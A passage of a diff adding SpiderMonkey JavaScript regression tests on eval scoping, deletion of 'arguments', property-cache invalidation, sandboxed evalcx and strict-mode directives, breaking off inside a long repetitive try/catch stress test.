""); diff --git a/js/src/tests/js1_8_5/regress/regress-541455.js b/js/src/tests/js1_8_5/regress/regress-541455.js new file mode 100644 index 000000000..7ee3a4015 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-541455.js @@ -0,0 +1,12 @@ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + * Contributors: Gary Kwong and Jason Orendorff + */ + +function f(x) { return eval('"mumble"; x + 42'); } + +var expect = true; +var actual = ('' + f).indexOf("mumble") >= 0; + +reportCompare(expect, actual, "unknown directive in eval code wrongly dropped"); diff --git a/js/src/tests/js1_8_5/regress/regress-548276.js b/js/src/tests/js1_8_5/regress/regress-548276.js new file mode 100644 index 000000000..5e306eba1 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-548276.js @@ -0,0 +1,10 @@ +// |reftest| skip +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + * Contributors: Gary Kwong and Jason Orendorff + */ +var obj = {}; +obj.__defineSetter__("x", function() {}); +obj.watch("x", function() {}); +obj.__defineSetter__("x", /a/); diff --git a/js/src/tests/js1_8_5/regress/regress-551763-0.js b/js/src/tests/js1_8_5/regress/regress-551763-0.js new file mode 100644 index 000000000..6aeceac23 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-551763-0.js @@ -0,0 +1,27 @@ +(function() { + var o = {'arguments': 42}; + with (o) { // Definitely forces heavyweight. + // Note syntax is not a property access. + reportCompare(delete arguments, true, + "arguments property deletion within with block"); + } + reportCompare('arguments' in o, false, + "property deletion observable"); +})(); + +(function() { + var o = {'arguments': 42}; + delete o.arguments; + reportCompare('arguments' in o, false, + "arguments property deletion with property access syntax"); +})(); + +(function() { + var arguments = 42; // Forces heavyweight. + reportCompare(delete arguments, false, + "arguments variable"); +})(); + +(function() { + reportCompare(delete arguments, false, "arguments object"); +})(); diff --git a/js/src/tests/js1_8_5/regress/regress-551763-1.js b/js/src/tests/js1_8_5/regress/regress-551763-1.js new file mode 100644 index 000000000..aced2eb7a --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-551763-1.js @@ -0,0 +1,7 @@ +// |reftest| skip-if(xulRuntime.shell) +// skip in the shell because 'arguments' is defined as a shell utility function + +/* Check we can delete arguments in the global space. */ +arguments = 42; +reportCompare(delete arguments, true, "arguments defined as global"); + diff --git a/js/src/tests/js1_8_5/regress/regress-551763-2.js b/js/src/tests/js1_8_5/regress/regress-551763-2.js new file mode 100644 index 000000000..500488818 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-551763-2.js @@ -0,0 +1,6 @@ +// |reftest| skip-if(xulRuntime.shell) +// skip in the shell because 'arguments' is defined as a shell utility function + +/* Check we can't delete a var-declared arguments in global space. */ +var arguments = 42; +reportCompare(delete arguments, false, "arguments defined as global variable"); diff --git a/js/src/tests/js1_8_5/regress/regress-552432.js b/js/src/tests/js1_8_5/regress/regress-552432.js new file mode 100644 index 000000000..615fd0500 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-552432.js @@ -0,0 +1,16 @@ +/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ + +(function (y) { + arguments.y = 2; + var x = Object.create(arguments); + x[0] = 3; + assertEq(x[0], 3); + assertEq(x.y, 2); + assertEq(y, 1); +})(1); + +reportCompare(0, 0, 'ok'); diff --git a/js/src/tests/js1_8_5/regress/regress-553778.js b/js/src/tests/js1_8_5/regress/regress-553778.js new file mode 100644 index 000000000..797165e54 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-553778.js @@ -0,0 +1,16 @@ +/* + * This should compile without triggering the following assertion: + * + * Assertion failure: cg->fun->u.i.skipmin <= skip, at ../jsemit.cpp:2346 + */ + +function f() { + function g() { + function h() { + g; x; + } + var [x] = []; + } +} + +reportCompare(true, true); diff --git a/js/src/tests/js1_8_5/regress/regress-554955-1.js b/js/src/tests/js1_8_5/regress/regress-554955-1.js new file mode 100644 index 000000000..80c26b088 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-554955-1.js @@ -0,0 +1,33 @@ +/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ + +function f(s) { + eval(s); + return function(a) { + var d; + { + let c = 3; + d = function() { a; }; // force Block object to be cloned + with({}) {}; // repel JägerMonkey + return b; // lookup occurs in scope of Block + } + }; +} + +var b = 1; +var g1 = f(""); +var g2 = f("var b = 2;"); + +/* Call the lambda once, caching a reference to the global b. */ +g1(0); + +/* + * If this call sees the above cache entry, then it will erroneously use the + * global b. + */ +assertEq(g2(0), 2); + +reportCompare(true, true); diff --git a/js/src/tests/js1_8_5/regress/regress-554955-2.js b/js/src/tests/js1_8_5/regress/regress-554955-2.js new file mode 100644 index 000000000..659b5c877 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-554955-2.js @@ -0,0 +1,29 @@ +/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ + +function f(s) { + eval(s); + return function(a) { + with({}) {}; // repel JägerMonkey + eval(a); + return b; + }; +} + +var b = 1; +var g1 = f(""); +var g2 = f("var b = 2;"); + +/* Call the lambda once, caching a reference to the global b. */ +g1(''); + +/* + * If this call sees the above cache entry, then it will erroneously use + * the global b. + */ +assertEq(g2(''), 2); + +reportCompare(true, true); diff --git a/js/src/tests/js1_8_5/regress/regress-554955-3.js b/js/src/tests/js1_8_5/regress/regress-554955-3.js new file mode 100644 index 000000000..c4e1a60ce --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-554955-3.js @@ -0,0 +1,32 @@ +/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ + +function f(s) { + eval(s); + return function(a) { + with({}) {}; // repel JägerMonkey + eval(a); + { + let c = 3; + return b; + }; + }; +} + +var b = 1; +var g1 = f(""); +var g2 = f("var b = 2;"); + +/* Call the lambda once, caching a reference to the global b. */ +g1(''); + +/* + * If this call sees the above cache entry, then it will erroneously use the + * global b. + */ +assertEq(g2(''), 2); + +reportCompare(true, true); diff --git a/js/src/tests/js1_8_5/regress/regress-554955-4.js b/js/src/tests/js1_8_5/regress/regress-554955-4.js new file mode 100644 index 000000000..09713c2f9 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-554955-4.js @@ -0,0 +1,37 @@ +/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ + +function f() { + return function(a) { + // This eval must take place before the block is cloned, when the + // call object is still not marked as a delegate. The scope chain + // purge for the JSOP_DEFVAR will not change the global's shape, + // and the property cache entry will remain valid. + eval(a); + { + let c = 3; + // This eval forces the block to be cloned, so its shape gets + // used as the property cache key shape. + eval(''); + return b; + }; + }; +} + +var b = 1; +var g1 = f(); +var g2 = f(); + +/* Call the lambda once, caching a reference to the global b. */ +g1(''); + +/* + * If this call sees the above cache entry, then it will erroneously use the + * global b. + */ +assertEq(g2('var b=2'), 2); + +reportCompare(true, true); diff --git a/js/src/tests/js1_8_5/regress/regress-554955-5.js b/js/src/tests/js1_8_5/regress/regress-554955-5.js new file mode 100644 index 000000000..dc8769a1f --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-554955-5.js @@ -0,0 +1,30 @@ +/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ + +function f(s) { + if (s) { + function b() { } + } + return function(a) { + eval(a); + return b; + }; +} + +var b = 1; +var g1 = f(false); +var g2 = f(true); + +/* Call the lambda once, caching a reference to the global b. */ +g1(''); + +/* + * If this call sees the above cache entry, then it will erroneously use the + * global b. + */ +assertEq(typeof g2(''), "function"); + +reportCompare(true, true); diff --git a/js/src/tests/js1_8_5/regress/regress-554955-6.js b/js/src/tests/js1_8_5/regress/regress-554955-6.js new file mode 100644 index 000000000..73faaefb0 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-554955-6.js @@ -0,0 +1,50 @@ +/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ + +var v="global"; +function f(a) { + // This eval could extend f's call object. However, the call object has + // not yet been marked as a delegate at this point, so no scope chain + // purge takes place when it is extended. + eval(a); + { + let b=3; + // This eval causes the cloned block object to be added to the + // scope chain. The block needs a unique shape: its parent call + // could acquire bindings for anything without affecting the global + // object's shape, so it's up to the block's shape to mismatch all + // property cache entries for prior blocks. + eval(""); + return v; + }; +} + +// Call the function once, to cache a reference to the global v from within +// f's lexical block. +assertEq("global", f("")); + +// Call the function again, adding a binding to the call, and ensure that +// we do not see any property cache entry created by the previous reference +// that would direct us to the global definition. +assertEq("local", f("var v='local'")); + +// Similarly,but with a doubly-nested block; make sure everyone gets marked. +function f2(a) { + eval(a); + { + let b=3; + { + let c=4; + eval(""); + return v; + }; + }; +} + +assertEq("global", f2("")); +assertEq("local", f2("var v='local'")); + +reportCompare(true, true); diff --git a/js/src/tests/js1_8_5/regress/regress-555246-0.js b/js/src/tests/js1_8_5/regress/regress-555246-0.js new file mode 100644 index 000000000..2a4efe052 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-555246-0.js @@ -0,0 +1,14 @@ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + * Contributor: Jason Orendorff + */ + +if (typeof evalcx == 'function') { + var cx = evalcx(""); + evalcx("function f() { return this; }", cx); + var f = cx.f; + assertEq(f(), cx); +} + +reportCompare(0, 0, ""); diff --git a/js/src/tests/js1_8_5/regress/regress-555246-1.js b/js/src/tests/js1_8_5/regress/regress-555246-1.js new file mode 100644 index 000000000..c9bd4d0f3 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-555246-1.js @@ -0,0 +1,18 @@ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + * Contributor: Jason Orendorff + */ + +if (typeof evalcx == 'function') { + var cx = evalcx(""); + evalcx("function f() { return this; }", cx); + f = cx.f; + assertEq(f(), cx); + + evalcx("function g() { 'use strict'; return this; }", cx); + g = cx.g; + assertEq(g(), undefined); +} + +reportCompare(0, 0, "ok"); diff --git a/js/src/tests/js1_8_5/regress/regress-559402-1.js b/js/src/tests/js1_8_5/regress/regress-559402-1.js new file mode 100644 index 000000000..d37c2bfa7 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-559402-1.js @@ -0,0 +1,22 @@ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ +var expect = "No error"; +var actual = expect; + +if (typeof options == "function") { + var opts = options(); + if (!/\bstrict\b/.test(opts)) + options("strict"); + if (!/\bwerror\b/.test(opts)) + options("werror"); +} + +try { + eval('function foo() { "use strict"; }'); +} catch (e) { + actual = '' + e; +} + +reportCompare(expect, actual, "ok"); diff --git a/js/src/tests/js1_8_5/regress/regress-559402-2.js b/js/src/tests/js1_8_5/regress/regress-559402-2.js new file mode 100644 index 000000000..ca0988cbb --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-559402-2.js @@ -0,0 +1,8 @@ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ +var expect = undefined; +var actual = (function foo() { "bogus"; })(); + +reportCompare(expect, actual, "ok"); diff --git a/js/src/tests/js1_8_5/regress/regress-559438.js b/js/src/tests/js1_8_5/regress/regress-559438.js new file mode 100644 index 000000000..c2b440c18 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-559438.js @@ -0,0 +1,10 @@ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + * Contributor: Jason Orendorff + */ + +function f(x) { return 1 + "" + (x + 1); } +reportCompare("12", f(1), ""); +var g = eval("(" + f + ")"); +reportCompare("12", g(1), ""); diff --git a/js/src/tests/js1_8_5/regress/regress-560998-1.js b/js/src/tests/js1_8_5/regress/regress-560998-1.js new file mode 100644 index 000000000..4aa25fd7a --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-560998-1.js @@ -0,0 +1,10 @@ +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ +// Contributor: Jesse Ruderman + +for (let j = 0; j < 4; ++j) { + function g() { j; } + g(); +} + +reportCompare(0, 0, "ok"); diff --git a/js/src/tests/js1_8_5/regress/regress-560998-2.js b/js/src/tests/js1_8_5/regress/regress-560998-2.js new file mode 100644 index 000000000..24491a1be --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-560998-2.js @@ -0,0 +1,10 @@ +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ +// Contributor: Jason Orendorff <jorendorff@mozilla.com> + +var x = {}; +for (var i = 0; i < 2; i++) { + Object.defineProperty(x, "y", {configurable: true, value: function () {}}); + x.y(); +} +reportCompare(0, 0, "ok"); diff --git a/js/src/tests/js1_8_5/regress/regress-561031.js b/js/src/tests/js1_8_5/regress/regress-561031.js new file mode 100644 index 000000000..944a22ee1 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-561031.js @@ -0,0 +1,1830 @@ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + * Contributor: Gary Kwong + */ + +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) {} +try {} catch(e) 